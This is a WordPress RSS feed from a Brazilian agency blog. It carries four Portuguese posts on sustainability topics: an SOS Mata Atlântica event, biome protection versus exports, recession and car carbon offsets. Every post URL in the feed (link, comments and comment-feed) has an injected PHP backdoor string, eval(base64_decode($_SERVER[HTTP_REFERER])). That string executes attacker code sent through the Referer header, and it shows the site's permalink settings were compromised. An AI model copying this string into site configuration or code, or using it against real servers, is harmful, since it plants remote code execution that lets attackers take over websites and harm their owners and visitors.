<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Prontofalei &#187; sustentabilidade</title>
	<atom:link href="http://fullcircle.com.br/blog/tag/sustentabilidade/feed/" rel="self" type="application/rss+xml" />
	<link>http://fullcircle.com.br/blog</link>
	<description>Falando do seu negócio</description>
	<lastBuildDate>Thu, 15 Oct 2009 15:50:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Viva a Mata &#8211; SOS Mata Atlântica no Ibira</title>
		<link>http://fullcircle.com.br/blog/2009/05/22/viva-a-mata-sos-mata-atlantica-no-ibira/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/05/22/viva-a-mata-sos-mata-atlantica-no-ibira/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 22 May 2009 21:58:33 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Tendência]]></category>
		<category><![CDATA[Variados]]></category>
		<category><![CDATA[fullcircle]]></category>
		<category><![CDATA[ibirapuera]]></category>
		<category><![CDATA[lao]]></category>
		<category><![CDATA[sos mata atlantica]]></category>
		<category><![CDATA[sustentabilidade]]></category>
		<category><![CDATA[viva a mata]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=173</guid>
		<description><![CDATA[Sábado e domingo rola um evento bacana no Parque do Ibirapuera.
É o Viva A Mata do SOS Mata Atlântica.

A LAO Engenharia Sustentável, cliente da Fullcircle, criou um caravela de brinquedo gigante feita somente com materiais reciclados e de reuso.
Vale a pena ir e dar uma olhada. Vai ter shows, discussão, atividades físicas e muito mais.
É [...]]]></description>
			<content:encoded><![CDATA[<p>Sábado e domingo rola um evento bacana no Parque do Ibirapuera.</p>
<p>É o <strong>Viva A Mata</strong> do <strong>SOS Mata Atlântica.</strong></p>
<p style="text-align: center;"><img class="aligncenter" src="http://www.sosmatatlantica.org.br/files/content/380.jpeg" alt="" width="300" height="199" /></p>
<p>A <strong>LAO Engenharia Sustentável</strong>, cliente da <strong>Fullcircle</strong>, criou um caravela de brinquedo gigante feita somente com materiais reciclados e de reuso.</p>
<p>Vale a pena ir e dar uma olhada. Vai ter shows, discussão, atividades físicas e muito mais.</p>
<p>É um ótimo passeio pro final de semana.</p>
<p>Mais info <a href="http://www.sosmatatlantica.org.br/index.php?section=content&amp;action=contentDetails&amp;idContent=380" target="_blank">aqui</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/05/22/viva-a-mata-sos-mata-atlantica-no-ibira/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Plantar mais ou exportar mais?</title>
		<link>http://fullcircle.com.br/blog/2008/12/03/plantar-mais-ou-exportar-mais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2008/12/03/plantar-mais-ou-exportar-mais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 03 Dec 2008 21:08:59 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Mercado e Consumo]]></category>
		<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Variados]]></category>
		<category><![CDATA[alemanha]]></category>
		<category><![CDATA[amazônia]]></category>
		<category><![CDATA[ambiente]]></category>
		<category><![CDATA[aquecimento global]]></category>
		<category><![CDATA[bioma]]></category>
		<category><![CDATA[cerrado]]></category>
		<category><![CDATA[crise]]></category>
		<category><![CDATA[emissão de dióxido de carbono]]></category>
		<category><![CDATA[europa]]></category>
		<category><![CDATA[itália]]></category>
		<category><![CDATA[polônia]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[recessão]]></category>
		<category><![CDATA[sustentabilidade]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=105</guid>
		<description><![CDATA[
A dúvida agora é: preservar nossos biomas como a Floresta Amazônica, Pantanal, Serra do Mar, Caatinga e Cerrado, ou liberar mais terras para produção de alimentos, criação de gado e produção de biocombustíveis?
Pelo Senado brasileiro corre em aprovação incluir o Cerrado e a Caatinga como patrimônio ecológico do Brasil, assim como a Amazônia. Isto implica [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" style="margin: 10px 5px;" src="http://fullcircle.com.br/blog/images/amazonia.jpg" alt="" width="435" height="288" /></p>
<p>A dúvida agora é: preservar nossos biomas como a Floresta Amazônica, Pantanal, Serra do Mar, Caatinga e Cerrado, ou liberar mais terras para produção de alimentos, criação de gado e produção de biocombustíveis?</p>
<p>Pelo Senado brasileiro corre em aprovação incluir o Cerrado e a Caatinga como patrimônio ecológico do Brasil, assim como a Amazônia. Isto implica em leis mais severas contra desmatamento, o que em tese não significa uma fiscalização mais intensa contra estes crimes ambientais, já que o desmatamento também é proibido na Floresta Amazônica, e acontece mesmo assim.</p>
<p>A pergunta que muitos já fazem é: devido a crise financeira e a queda nas exportações, será que o governo brasileiro vai mesmo abrir mão de produzir mais em troca de proteger o meio-ambiente e todo aquele papo de aquecimento global?</p>
<p>Itália, Alemanha e Polônia dão sinais de não concordar sobre o acordo europeu para redução da emissão de dióxido de carbono em 20% até 2020, já que isso causaria grande impacto na economia destes países, e, devido a crise, esta hipótese seria inconcebível.</p>
<p>E o Brasil? Continua inabalado pela recessão mundial e mantém suas metas, ou será que vamos abrir mão do Chapada dos Guimarães em troca de algumas cabeças de boi para a Europa?</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2008/12/03/plantar-mais-ou-exportar-mais/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A palavra agora é&#8230; recessão!</title>
		<link>http://fullcircle.com.br/blog/2008/12/01/a-palavra-agora-e-recessao/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2008/12/01/a-palavra-agora-e-recessao/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 02 Dec 2008 01:04:04 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Tendência]]></category>
		<category><![CDATA[Variados]]></category>
		<category><![CDATA[crise]]></category>
		<category><![CDATA[negcios]]></category>
		<category><![CDATA[palavradamoda]]></category>
		<category><![CDATA[palavragasta]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[Propaganda]]></category>
		<category><![CDATA[recession]]></category>
		<category><![CDATA[recesso]]></category>
		<category><![CDATA[sustentabilidade]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=103</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><img src="http://fullcircle.com.br/blog/images/palavra-da-moda-recessao.jpg" alt="" width="513" height="491" /></p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2008/12/01/a-palavra-agora-e-recessao/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quer reduzir a emissão de carbono do seu carro?</title>
		<link>http://fullcircle.com.br/blog/2008/10/09/quer-reduzir-a-emissao-de-carbono-do-seu-carro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2008/10/09/quer-reduzir-a-emissao-de-carbono-do-seu-carro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 14:40:49 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Tendência]]></category>
		<category><![CDATA[carbono]]></category>
		<category><![CDATA[cooldrivepass]]></category>
		<category><![CDATA[idman]]></category>
		<category><![CDATA[ipiranga]]></category>
		<category><![CDATA[meio-ambiente]]></category>
		<category><![CDATA[offsetters]]></category>
		<category><![CDATA[sustentabilidade]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=88</guid>
		<description><![CDATA[
Pena que isso vale pra quem mora no Canadá, mas é legal a idéia.
A Offsetters é uma organização canadense que elabora soluções para pessoas e empresas que desejam reduzir o impacto sobre o clima do planeta.

Uma das ações é o CoolDrivePass, onde você informa a marca, ano e modelo de seu carro e por quanto [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" style="margin-top: 10px; margin-bottom: 10px;" src="http://jofrealves.no.sapo.pt/Bico,%20paisagem%20rural%20I.jpg" alt="" width="350" height="259" /></p>
<p>Pena que isso vale pra quem mora no Canadá, mas é legal a idéia.</p>
<p>A <strong><a href="http://www.offsetters.ca/" target="_blank">Offsetters</a></strong> é uma organização canadense que elabora soluções para pessoas e empresas que desejam reduzir o impacto sobre o clima do planeta.</p>
<p><img class="alignleft" style="margin: 10px; float: left;" src="https://www.redeipiranga.com.br/WAcartao01/cartaoCarbonoZero/_img/img_cartao.gif" alt="" width="133" height="146" /></p>
<p>Uma das ações é o <a href="http://offsetters.ca/?q=node/88" target="_blank"><strong>CoolDrivePass</strong></a>, onde você informa a marca, ano e modelo de seu carro e por quanto tempo você deseja reduzir a emissão de carbono emitido pelo veículo.</p>
<p>O valor pago para esta redução é aplicado em diversos projetos do governo canadense aplicados na geração de fontes de energia renováveis e não poluentes.</p>
<p>No Brasil temos ações parecidas, como a dos postos <a href="https://www.redeipiranga.com.br/WAcartao01/homeCarbonoZero.do" target="_blank">Ipiranga</a>, que através de um cartão, oferecem benefícios para a neutralização da emissão de carbono.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2008/10/09/quer-reduzir-a-emissao-de-carbono-do-seu-carro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
